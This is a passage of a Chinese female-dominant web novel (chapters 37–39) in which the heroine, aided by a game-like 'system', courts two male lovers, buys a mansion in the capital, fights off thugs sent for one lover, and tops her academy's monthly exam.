陆锦澜想通这一节,便渐渐明白凛丞性格里的矛盾之处,理解他为何如此拧巴。
作为一个容貌出众的男人,他最怕被指责的就是作风问题。他读书习武,敢于反抗命运的安排,看似大胆清醒,可一遇到女男关系,还是会落入看不见的陷阱。
他不敢表达自己真实的感受,不敢回应亲昵的举动,他害怕被当成行为放荡的男人。如果说,羞耻感的主要作用,是让一个人变得拧巴,那副作用就是让一个人变得被动。
因为主动是不知羞的行为,不管是主动表达爱意、主动要求确认关系,还是主动索取名分,都是当下的社会环境不鼓励做的。
但被动行事,会带来一系列负面问题。总等人家主动,人家不主动,他就一直等。人家主动了,不是他想要的结果,他又难过。真成了男人心,海底针了。
合则不是女人天生没有安全感,谁在被动的位置能有安全感?谁一天被迫瞎琢磨,谁就焦虑敏感,谁就变海底针,谁就没有安全感。
陆锦澜出门的时候,晏无辛忽然提醒她:“我看凛丞挺好的,他就是容易害羞。你毕竟是女人,你主动点。”
陆锦澜:“我知道。”
后山,还是那块大青石,凛丞已经在那儿等着她了。
37. 第 37 章
鉴于上次发生在这儿的抓马场景,二人一碰面都有些淡淡的尴尬。
双双坐在青石上,陆锦澜率先找了个话题,开口道:“今天食堂没人管,你是不是轻松许多?”
凛丞:“是,有学生们帮忙,收拾起来比往常快,也没有人责骂我们。不过院长已经在招募新的老板了,新老板来了,可能不用我们这批厨工。到时候,我可能没办法留在这儿了。”
陆锦澜凑上前,看着他忧愁的脸,笑道:“不行,你得留在这儿啊,不然怎么像鬼一样缠着我?”
凛丞气得咬牙,羞愤的一手抓住她的手腕,一手去捂她的嘴。陆锦澜向后一倒,躺在青石上,凛丞压在她身上,急道:“别再提那些疯话了。”
陆锦澜看着这个暧昧的姿势,笑得眉眼弯弯,“你这会儿,又不怕被别人看见了?”
凛丞耳朵一红,连忙起身,理了理衣衫。
陆锦澜叹了口气,自身后抱着他,头枕在他的肩上,严肃道:“其实我早就想跟你说,你不要在意那些世俗的眼光,你可以遵从自己的内心,去做你想做的一切。”
凛丞沉默片刻,闷声道:“我也想,可我做不到。”
“那就换一种思路。我问你,你更在意世俗的看法,还是我的看法?”
他低下头,语气笃定的回答:“在意你。”
“如果我的喜好和世俗标准是相悖的,你会怎么做?”
“比如什么?”
“比如,我喜欢主动的男人。”
陆锦澜目光在他脸上逡巡片刻,稍作暗示的用温热的指腹抚摸了一下他的嘴角。
林间的晚风吹动着,树叶哗啦啦作响。凛丞凝望着她,黑眸中倒映着朦胧的月光,如黑夜里徐徐点燃的篝火。
陆锦澜好整以暇看着他,凛丞迟疑片刻,终于倾身上前,按照她的喜好表达自己的心意。
轻柔的吻越发热烈,彼此呼吸交缠,唇齿之间摩擦碰触,舔舐窥探,直至呼吸都变得深重。
陆锦澜抚摸着他的脖颈,额头抵住他的,终于感觉到了时候,应该将这段关系确定下来。
“等新老板来了,你就到外面去,不要再做厨工了。”
“那我做什么?”
“什么也不做,我养你。你跟着我,我绝不负你。”
陆锦澜从衣袖里取出那支莹白剔透的白玉簪,她握着那支簪子,神情凝重的对他说道:“我现在还不能跟你保证什么,但我可以告诉你,我绝不会委屈了你。”
凛丞用力得抱住她,在她耳边应许:“好,我相信你。”
「叮!俘获郎心,生命值+9999」
陆锦澜勾着嘴角,将白玉簪插在他的发髻上,温柔的回抱着他。
三天后,学院食堂终于招到了新的经营人。
最先得到消息的同学兴冲冲跑进教室,“你们听说了吗?新的食堂老板已经带着厨师进食堂了,中午就能吃上新厨子做的饭。听说她不用咱们交伙食费,每月只收学院三百两的补贴,还要保质保量,顿顿好吃的管够。”
项如蓁顿觉奇怪,“这怎么可能呢?若真是这样,新老板根本赚不到钱,哪有赔本赚吆喝的?她图什么?”
陆锦澜瞥了瞥嘴,“要不是为了做慈善,就是居心不良,肯定有所图。”
晏无辛顿时来了兴致,“那咱们一会可得去看看,要是新老板搞幺蛾子,咱就再来一次大闹食堂。”
三人你一句我一句,脑补了一通。结果,等见到了新老板,都愣在原地,顿时明白了个中缘由。
确实是有所图,但应该不是居心不良,而是用心良苦。
因为食堂新老板,正是平希玉平掌柜。
平希玉笑吟吟上前,“见过少主,晏少娘、项少娘,咱们又见面了。”
陆锦澜一惊:“陆家什么时候做起食堂餐饮了?”
平希玉笑道:“这些小生意原本是不做的,但想着少主在这儿,做一做也是值得。从外面送饭您还要日日去取,路途略有耽搁,也会失了口感,不如在这儿现做。”
“先前您抱怨食堂的饭菜难吃,我已经在想办法了,可惜一直没摸到门路。前两日听说这儿招募入驻,我立刻着人现挖了几个好厨子。你们院长亲自试的菜,咱们不仅饭菜口味好,一个月还只收三百两补贴,总算脱颖而出,拿下了食堂的经营权。”
陆锦澜连连点头,“你费心了。”
“哪里哪里,这都是在下该做的。”
陆锦澜目光往档口里瞄了一圈,一个厨工都没看见。
平希玉忙道:“原来的厨工不知根底,我就把他们辞退了。不过……”
她压低了声音在陆锦澜耳边道:“我听庆儿说,这儿有个厨工是您中意的,我就留下了一个。”
陆锦澜一愣,“你怎么知道我中意哪个?”
平希玉笑道:“就算在下老眼昏花,也晓得少主中意什么样的,是最出挑最俊美的那个,没错吧?我给他拨了个单间,他现下正在后面收拾。以后,只让他做做监工理理帐。放心,您中意的人,我会帮您照顾着。”
陆锦澜一脸欣慰,平掌柜真是太会办事了。
皇家学院本来待着不怎么舒服,经过几番折腾,陆锦澜终于舒服了。
她晚上开挂修炼,白天照常上课,三餐想吃什么让厨师做什么,晚上下了课便拉着凛丞约会谈心。
项如蓁在书馆勤工俭学,做管理员。晏无辛过来陪她值班,伏案在灯下抄作业。
项如蓁刚理完一架书,天窗上便传来陆锦澜的呼唤:“如蓁,给我拿两本《制敌攻略》。”
项如蓁顺着天窗嗖一下把书扔上去,陆锦澜一把接住,转身递了一本给凛丞。
两人躺在书馆的房顶上,头顶明月高悬,月下两个身影互相依偎。
一转眼又到了休沐的日子,陆锦澜上次答应了雨眠,休沐了去看他。但她最近天天和凛丞在一起,凛丞在京中又没有别的朋友,带着他吧,有些别扭,不带他吧,该怎么说比较合适呢?
陆锦澜正琢磨着如何措辞,没想到凛丞主动开口:“明日我要到郊外去骑马。”
“呃,骑马好啊,去吧,用我陪你吗?”陆锦澜很不诚心的问了一句。
她已经想好,如果凛丞说用,她就假装恍然大悟,说:哦,差点忘了,我明天约了无辛和如蓁。
结果凛丞意味深长的看了她一眼,“不用你陪,你忙你的吧,我怕你分
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身乏术。”
陆锦澜尴尬扶了扶额,“还好,不怎么忙。”
凛丞叹了口气,“其实,你也该去看看他,想见一个人的煎熬我体会过,他一定数着日子盼着你去。”
陆锦澜惊喜的眨了眨眼,“我真没想到你这么体贴,这么识大体,这么有容人的雅量!我决定了,我要给家里写信,我要娶你,娶你做正夫!”
凛丞不信,“真的?你也不问问我家境如何,配不配得上你?”
“我才不管,我决定了,我就要娶你!”
陆锦澜兴冲冲的离去,凛丞独坐在大青石上,抬头望天,一脸惆怅。
*
休沐这日,陆锦澜带着楼雨眠选了半日宅子。还真在学院附近找到一处豪宅,就在院长家后面,地方宽敞,楼台水榭俱全,五进的四合院,只需稍坐修葺就可入住。
原主要举家搬迁到南方,急着出售,价钱也合理,只要四千八百两。陆锦澜爽快的付了钱,拿到了房契,直接送到久安堂,让平掌柜着人帮忙修缮打扫。
陆锦澜暗暗感慨:咱也是在京中有房的人了,这人生,终于是轻而易举了。事实证明,投胎投的好,一辈子没烦恼。
她心里高兴,带着楼雨眠四处闲逛。偶然间到了雅居书舍附近,她不禁多看了一眼。
楼雨眠忙问:“怎么了?”
陆锦澜笑道:“这就是我和凛丞刚认识的时候,帮他借书的地方。”
楼雨眠立刻拉着她过去,“走,我也想看书了,你帮我借一本。”
陆锦澜哭笑不得,“我今日没带学籍凭证。”
“那也要进去看看。”
“好吧。”
陆锦澜无奈答应,本想着进去随便逛逛,没想到店里人满为患,跟上次来时的冷清判若两店。
两人挤着进去,在一面书架旁随手翻阅,便听到身后的几人在窃窃私语。
一人道:“这就是陆锦澜来借过书的店啊?也没什么稀奇。”
另一人道:“就是,我看这店也和她人一样,不就会写些诗文吗?盛名之下其实难副。”
楼雨眠听着刺耳,正要出声,陆锦澜按住他的手腕,笑着摇了摇头。
她一向不在乎这些风言风语,一笑置之。
楼雨眠有些想走,不料这时听到有人说:“她不是只会做诗文,策论也写得极好,不然也不会被陛下选中,到京里来应试。”
先前那两人顿了一下,“对了,你和陆锦澜曾经是同窗,我听说她在云州名不见经传,怎么突然厉害起来了?会不会是她那位富商的母亲使了手段?”
那人道:“她母亲若是肯使手段,她也不会一直垫底了。不过结业考试前,她一直在温书,考出好成绩也是情理之中。何况,武试的时候万众瞩目,她不也是一鸣惊人吗?你们不喜欢她不提她就是了,何必恶意揣测。”
先前那人不高兴道:“你怎么说起我俩来了?你不是和她有过节吗?怎么还帮她说话?”
那人气道:“我和她是有过不快,怎么她做正人君子,我便只能做阴险小人?你们也小看我了,话不投机,咱们不必再说了。”
那人转身便要走,陆锦澜忙道:“等一下!”
38. 第 38 章
那人转身一看,颇为吃惊,“陆锦澜!你怎么在这儿?”
陆锦澜微微一笑,“吴思群,好久不见。”
陆锦澜没想到,离开云州多日,竟然能在雅居书舍偶遇云州同窗。
吴思群,那个跟她打赌输了,差点当众喊出蠢钝如猪的那位少娘。
时隔两三月,二人于京中重逢,一个已经成了名满京城的风流人物,一个褪去了学生时期的青涩,承继家业做起了买卖生意,彼此略一交谈,都有恍如隔世之感。
这家店之所以如此火爆,多亏了陆锦澜的名声。
老板看了武试之后,便四处宣传她如何慧眼识英,让陆锦澜仅凭一张通知书就借得孤本的佳话,引得不少学子前来光顾。
陆锦澜和吴思群刚一相认,店内一干人等纷纷侧目,老板连忙过来,仿佛很熟似的说道:“哎呀呀陆大才女,怎么来了也不说一声?我特地给你备了一份恭喜你入选皇家学院的贺礼,就等着你来好送给你。你等等,我这就给你拿来。”
老板取来一份包裹精致的礼盒,说里面是文房四宝,陆锦澜不客气的收了。
老板又指着一个架子道:“这是你上回借的那本《兵法详解》,你朋友帮你还回来之后,我就置了个架子,将它放在高处,谁也不准碰。”
陆锦澜笑着摇头,雨眠站在她身后,拽了拽她的袖子。
陆锦澜会意,便对老板道:“在下有个不情之请,我今日出门不巧没带凭证,能否通融一下,将这本书再借我一次?”
老板大手一挥,“没问题,你陆锦澜人都在这儿,还要何凭证?不过可否留下墨宝,让我挂在店中,让小店也沾沾您的风采?”
这商人真是一点儿都不带吃亏的,陆锦澜无奈卷起袖子,“拿纸笔来吧,不过我可告诉你,我写字可不好看。”
老板笑道:“那可不是,您的字自成一派,别有风韵。”
陆锦澜默默点头,懂了,这就叫自有大儒为我辩经。
她洋洋洒洒留下七个字:人生得意须尽欢。啪一下盖上印鉴,留下落款,带上东西,潇洒离去。
陆锦澜和吴思群走在前面,楼雨眠抱着礼盒揣着书,兴冲冲在后面跟着。
陆锦澜将人带进了一家酒楼,笑道:“难得咱们她乡遇故知,这顿我请,谢你刚才为我仗义执言。”
“嗐,我还没谢你当初放我一马,我那时也是太不懂事了。”
“我那时也幼稚,算了,过去的事儿咱不提了。”
说话间,小二递来菜单,“二位客官,来点什么?”
怎么二位?陆锦澜回头一看雨眠老实得抱着东西站在她身后,假装是个忠厚的男仆。
陆锦澜不由一笑,拉了下旁边的凳子,“你也坐,思群不是外人。”
陆锦澜介绍道:“他叫楼雨眠,雨眠,这位是我在云州的同窗吴思群。”
楼雨眠忙见礼道:“吴少娘。”
吴思群点了点头,目光在二人间稍一徘徊,瞬间了然,她笑着举起酒杯,贺道:“恭喜锦澜,喜得俊郎。”
陆锦澜笑着碰杯,一饮而尽。
席间,二人聊起云州旧事,颇为感慨。雨眠静静的听着,时不时为她们添酒加菜。
聊到后来,陆锦澜才知道吴思群明日就要回云州了。她便将写好的家书交给吴思群,托她带回云州,送到陆家。
和吴思群分别后,陆锦澜又去看了看家具。
这天,楼雨眠特别高兴,陆锦澜回去后构思着新家的布置,伏在案上画草图,忽然感觉有人扒她的鞋。
陆锦澜:“干嘛?”
楼雨眠指着旁边备好的水,“我给你洗脚,今天走了那么多路,累了吧?这水里放了久安堂特制的安神药草,你泡一会儿,保管你能睡个好觉。”
陆锦澜看着他一脸诚挚的样子,便由着他伺候,转过头忍不住偷偷勾起嘴角。
唉,谁说男的不会伺候人?什么这也不会做、那也做不好,那绝对是为了以后不做,为了逃避琐事家务,故意装的。
伺候领导的时候,就不粗心了,也想得周到了,还会超额完成任务呢。事实证明,真心想做,他就能做。
看看雨眠,跟他在一起,陆锦澜总是被伺候得明明白白,自己想到的想不到的,他都能想到。
以前陆锦澜看过一本女尊文,男主对女主恶声恶气的,气得陆锦澜恨不得穿进去抽他,跟谁俩呢?什么东西,反了他了,谁老大不知道吗?
现在一想,那也太不现实了。权力归属决定意识形态,社会地位决定家庭地位,女尊文里女人还要受男人的欺负,那真是倒反天罡。
以前小品里有句经典台词,说:你是太阳啊,地球都得围着你转?
陆锦澜现在一想,对,我现在就是太阳,男人都得围着我转,这是我应得的。
「叮!恭喜宿主领悟新的男频精神,生命值+10000」
陆锦澜:「什么男频精神?」
「异性围着你转,你就是他们的天。」
陆锦澜噗嗤一声,笑倒在桌子上。
楼雨眠正在给她按摩脚底,忙问:“太痒了吗?”
陆锦澜笑着摆手,“不是,你继续。”
楼雨眠又问:“明天……还去选家具吗?”
“去,明天咱们去万象街,那卖什么的都有。”
楼雨眠愣了一下,“还带我去啊?我还以为你要带凛公子去,毕竟新宅他要住的。”
陆锦澜轻笑一声,知道楼雨眠在这儿拿话试探她呢。
他自己想去住,陆锦澜没提,他就在这儿绕着圈打听。
陆锦澜抬眸看了他一眼,“嗯,凛丞会去住的,你不也得去住吗?难道你想在这小院子里住一辈子?”
楼雨眠眼里一喜,但还是说道:“这儿也挺好的,免得他看见我不高兴,又和你闹,我可不想给你添麻烦。”
陆锦澜道:“他不会和我闹的,他要是拘束着我,我也不会和他好。我让你去住,你就去。我买的宅子,当然我说的算。又不住一个院子,你怕什么?但有一点,他是个性子单纯的人,我是要娶他做正夫的,你得敬重他。”
楼雨眠连连点头,“好。”
楼雨眠很清楚自己的位置,他无名分,他不多嗔,他很知足。
*
其实,陆锦澜也知道住一块会有不便,就像她爹,每次看到她娘的宋侧夫都翻白眼。但她还是想让他们住一块,因为她方便,她开始学会以自己为中心思考问题了。
按理说,平等的女男关系应该是互相为对方考虑。但现在处于一个不平等的环境,自然也就没有平等的关系。陆锦澜也得为其他女人考虑,就像晏无辛说的,不能丢女人的脸。
何况,宅子那么大,各自有各自
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的屋檐,又不用共处一室。她这个经济实力,给他们提供的环境相当优渥,称得上是当世的国民妻主,哪个男人不想嫁给她?
然而,陆锦澜没想到,没等住到一个宅子里,先偶遇了。
她带着楼雨眠刚到万象街,偶然走进一家瓷器店,正撞见凛丞在那儿买茶具。
神京怎么这么小?大家面面相觑。
凛丞忙解释道:“平掌柜给我安排了新房间,我想简单添置点东西,不知道你们要来这儿。”
陆锦澜故作镇定:“无妨,我昨日在学院旁买了处宅子,平掌柜正着人打扫修缮,正好咱们碰上了,一起选些家具用品,下次休沐一起搬进去。”
她的重音放在“一起”二字,凛丞看了她一眼,“好。”
三个人,不过比两个人多了一张嘴,陆锦澜想:一起买东西也没什么,说不定更好讲价。
结果,完全不是她想的那样。
老板:“这位少娘带着两位小公子,想选些家用的餐具吗?”
陆锦澜点了点头,老板道:“我们这儿有四大窑最新运来的一等货,共有二十六个款式,一百零八个花样。”
陆锦澜一看都差不太多,她便问:“你们喜欢哪个?”
“这个!”
“这个!”
凛丞和雨眠,同时指了截然不同的两套餐具。
陆锦澜挠了挠头,楼雨眠立刻拉着她的手说:“那就选凛公子看中的吧,我没关系的。”
凛丞暗自瞪了他一眼,心道:又装可怜?
凛丞冷笑一声,“呵呵,还是选楼公子看中的吧。反正我这人糙,用什么餐具都能吃得下。”
二人双双看向陆锦澜,陆锦澜抿了抿唇,看向老板。
老板大概是经常遇到这种情况,立刻道:“其实像您这样的大户人家,每个院里都有自己的小厨房,买两套也是常事。”
陆锦澜立刻领会,“没错,那你们就挑自己喜欢的,以后在各自院里用。”
凛丞这次决定先下手为强,他立刻拿了一个花色走到陆锦澜面前,“我选了这个,你喜欢吗?毕竟我们以后要经常一起吃饭,你如果不喜欢,我就选别的。”
陆锦澜:“可以,就这个吧。”
楼雨眠立刻把人拉过去,“你帮我选,你选哪个,我就喜欢哪个。”
凛丞听见这话暗自咬牙,逢春楼到底教了些什么东西?他怎么这么会哄女人开心?
陆锦澜叹了口气,“你选你的,我再选一套。瓷器易碎,多买点备着。老板,结账,给我送到家里去。”
老板喜笑颜开:“好嘞!一等餐具三套!”
陆锦澜留下地址付完钱,转身就走。
二人先后跟上,凛丞:“我买了你爱吃的蟹粉酥,还热着呢,你尝尝。”
陆锦澜就着他的手咬了一口,“嗯,味道不错。”
楼雨眠立刻也递过来一块雪花酥,“这个也好吃,你尝尝。”
两人你喂一口我喂一口,一口甜的一口更甜的,陆锦澜又想起一句小品台词:快喂出糖尿病了。
看着一眼望不到头的小吃摊,她暗暗牙疼,路过一间茶馆,她立刻道:“我去喝口茶,你俩自己逛会儿。”
也就喝了半壶茶,外面忽然跑进来一个仁姊,站在门口吆喝:“大家快去看!不知道谁家的两个小公子,在街口大打出手!”
39. 第 39 章
陆锦澜两眼一黑,开始反思自己的审美。无辛说得对,她怎么专挑凶悍的招惹?
这个世界遍地娇夫,会武功的男人是稀罕物。但她陆锦澜偏偏不喜欢大众款,看中了两个又高又硬又能打的。
他们在她面前暗自较劲,也就算了。好家伙,离了她竟然打起来了?
陆锦澜一脸不高兴的跟着看热闹的人群往街口走,走着走着发现不对,报信的人怪会误导人的,怎么只提两个小公子大打出手,不说他们被一群女人给围攻了呢?
对方大约七八个打手,目测全是练家子。凛丞和楼雨眠被围在中间,哪怕两人都有武功在身,奋力抵抗,仍然不是对手。
陆锦澜远远的瞧见楼雨眠挨了两脚,顿时眉头一皱,几个纵跃冲入包围圈,上去就使了一套翻云手。
实话说,在整个皇家学院,陆锦澜练武是最不用功的。练武场上每天必到的是项如蓁,她天生神力,依旧勤学苦练。晏无辛嘛,虽然在文课上偷懒,但酷爱习武,每日也至少练一两个时辰。
而陆锦澜出现在练武场只有以下几个目的:找项如蓁、找晏无辛、找她们俩……
她天天睡到饱,然后踩着点去上课。项如蓁提醒过她,“练武如逆水行舟,不进则退。你再这么懒下去,筋骨会越来越软,发不出力。”
陆锦澜:“我骨骼惊奇,能在睡梦中修习进益,不信你试试。”
两人一交手,项如蓁吓了一跳。陆锦澜不仅出手快如奔雷,且招式诡谲,距离二人上次交手相距差不多一个月,陆锦澜内力大增,平常人苦练一年都达不到这种效果。
虽然陆锦澜的力量还不能和项如蓁相抗,但招式之绝妙之刁钻,让项如蓁都觉得不好招架需得小心应对。
一个月前,二人实力三七开,如今差不多是四六开了。
这都是系统的功劳,随着陆锦澜生命值的暴增,系统商城经历了数次升级,里面的武功秘籍越来越高阶。
陆锦澜生命值又多到用不完,本着便宜没好货的原则,她专挑贵的兑换。每日睡前开启修炼模式,呼吸之间功力便能更上一层楼。
最近这本翻云手就是陆锦澜新练的高阶掌法,今天正好拿来实战。
那些打手忽见一个十六七岁的少年冲入战局,起初还不当回事。所谓少壮功夫老始成,习武需要积累,十六七岁还是个半大孩子,能有多高的修为?
然而却见陆锦澜出手敏捷,一把擒住其中一人的手臂,对方本能的想要挣脱,陆锦澜如早料到一般,利用这个间隙对准她心口就是一掌。
来人也是不善,她一只手被钳制,另一只手连忙举掌相应。哪知陆锦澜此招乃是虚招,她手腕一翻,如游鱼一般,别住对方手掌的同时转向她背后,对着她后心就是一掌。
啪一声,来人顿觉脊背发麻五脏一震,腥甜的气味涌上喉咙,一口鲜血顿时喷了出来。
一切发生在电光火石之间,众人还没看清怎么回事,陆锦澜已经接连击倒三四个,几记凌空连环脚将余下人等击退,抓住领头的按在墙角,抬手就要给她一掌,忽听凛丞惊呼道:“手下留情!”
陆锦澜看了他一眼,凛丞一脸为难,“她们……她们是我母亲身边的人。”
领头的趁机劝道:“公子,跟我们回去,家主她很惦记你。”
凛丞摇了摇头,“我现在不能走,情况不是你们想的那样。总之,我很好,你们自己回去吧,我回头会跟母亲解释的。”
原来这拨人是来抓凛丞的,大概把他逮回去,又要逼着他成亲,嫁给那个他不喜欢的人。
陆锦澜气道:“听见了吗?他不想回去,回去告诉你们家主,把亲事退了,我娶他。等我有空,就去你们家提亲。”
领头那人冷笑一声,嘲讽道:“你是哪冒出来的小丫头?仗着自己有点本事,就不知天高地厚。你知道他是谁吗?你想娶他?你也配。”
陆锦澜不屑道:“你知道我是谁吗?口气怪大的。我告诉你,不管他是什么身份,我都要娶他。他是我的人,他亲娘也别想乱点鸳鸯谱。今日我放你们一马,再敢大街上抢人,我就送你们去京兆府,滚!”
领头的眼看不敌,无奈的叹了口气,搀扶起伤者,灰溜溜撤了。
凛丞面上有些不自在,低声道:“你怎么随口乱说,什么我是你的人?我娘听了怕是要气昏过去。”
陆锦澜一笑,“我不这么说,她能死心吗?难道你还想回去嫁给别人啊?”
凛丞薄唇微抿,欲言又止,最后只闷声道:“我先回去了。”
陆锦澜还打算细问几句,身后的人嘶了一声。
她转过身,看见楼雨眠捂着肩膀,痛得皱眉。
陆锦澜:“那些人出手不轻,伤着你了?”
楼雨眠:“嗯,怪我学艺不精。”
陆锦澜笑道:“也不能怪你,凛丞他娘派来的人,不敢往他身上招呼,自然冲着你来。走吧,我带你去久安堂,让医师好好给你看看。”
楼雨眠忙拉住她,在她耳边低声密语:“不用去久安堂,你看看就行了。反正,我是你的人。”
陆锦澜笑着摇了摇头,他在这儿等着呢?
“好吧。”陆锦澜牵起楼雨眠的手,打道回府。
回到家,解了衣裳一看,楼雨眠的肩上有两处碗口大的红印。
陆锦澜眉心微蹙,有些后悔,“我还以为是你们两个小打小闹,没有急着赶过去。早知道就快点过去,你也不至于受伤。”
楼雨眠忙道:“不碍事。你之前都叮嘱我了,我怎么会和凛公子动手呢?不过,我倒是好奇……”
陆锦澜将药油涂在手心,揉在他的伤口处,“好奇他还不是我的人?”
“嗯,为什么啊?我能问吗?”
陆锦澜无奈的叹了口气,“因为,他家教森严,成亲之前要留住他的守贞砂。他说别的事都可以依我,但这是他的底线。”
“哦,原来是这样。”楼雨眠轻声应道。
陆锦澜见他噙着笑,眼睛转来转去的,便捏了把他的脸,“偷偷想什么美事呢?”
楼雨眠按住她的手,嘴角死活压不下去,“那这么说,咱们搬到新宅,你也不会和他住在一起?”
陆锦澜噗嗤一笑,“他要守身如玉,我和他住一起干什么?为了练定力啊?你是不是想着,我不和他住一起,就能天天和你住一起?”
楼雨眠凑上来,讨好的亲了亲她的下巴,“
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和我住一起不好吗?你可以随心所欲,难道这些天,我伺候得不好?”
陆锦澜闭上眼,嘴角微扬,回味着点头,“不得不说,逢春楼有点东西,你确实让我很满意。”
楼雨眠俯下身,口中衔住她的腰带,眼波流转,“我还能让你更满意。”
陆锦澜深吸一口气,“受伤了还不安分?”
楼雨眠含糊道:“其实没怎么疼,不耽误行事。”
陆锦澜轻笑一声,微微点头。
其实她早就知道他有装的成分,不过也没拆穿。
她理解了那句话:肯为朕花心思就好。
她享受他为了争宠挖空心思讨好她的感觉,很爽。
*
转眼间已经入学一个月了,新生迎来了第一次月考。发成绩那天,大家都颇为紧张。
代理学监司徒梅抱着一摞试卷,站在讲台上,开始宣读名次,“本次月考共计十门科目,总成绩第一名的是……陆锦澜。”
“哇!”晏无辛带头鼓掌起哄。
“第二名,项如蓁。”
“哇哦!”晏无辛还在起哄。
“第三名,晏……”司徒梅扫了台下一眼,晏无辛指了指自己,“我吗?”
司徒梅摇头,“晏钰。”
班里一阵哄笑,这仨人天天在一起,都知道她们关系好,习惯了她们名字挨在一块,没想到这回挨不上了。
晏无辛无奈的扶额,陆锦澜和项如蓁一左一右的拍着她的肩膀,也忍不住笑。
晏无辛严重偏科,十门功课里,只有《武艺》、《骑射》、《兵法》三门武课能够拔尖,其他的七门那叫一个稀里糊涂。
班里总共一百人,前十名除了晏钰,全是外地的。而晏无辛,排到了五十一名。这个成绩很中等,跟家里也能说得过去。
她暗自感叹:幸好今年皇室塞了不少关系户进来,不然没这些皇亲垫底,我恐怕要排到下等。
试卷发下来,陆锦澜和项如蓁围过来,“让我们看看你怎么写的。”
晏无辛随手抽出一张《水利》试卷给她们,只见上面是一个大大的零分。
二人仔细一看,顿时笑出了声。题目是复杂河道,流程较长,考虑沿途耕地、民房、其他河流汇入等因素,至少需要设计三处水利工程。
晏无辛图省事,大聪明劲儿上来,直接在主干道最上游设计了道堤坝,再往旁边一改道,直接把河水引入海了。
这么一来,倒是不用担心水患了,村民如果没渴死,就得忙着打井抗旱了。
气得水利课师傅给她打了个零分都不解气,还在试卷上留下一句:尔毒甚于水患!
翻译过来就是:你比水患还可怕!
陆锦澜笑道:“咱今天必须得为无辛庆祝一下,她比咱们最先明确方向,未来一定是个武将。”
三人刚在食堂吃上饭,平掌柜过来,“恭喜少主一举夺魁,恭喜项少娘夺得榜眼,呃……也恭喜晏少娘,将来必定成为威震一方的武将。”
晏无辛一脸生无可恋,“谢了,难为您,还能把我带上。”
大家正谈笑着,食堂的门被嘭一声踢开,楚易舒大喊道:“救命!凌照人要死了!”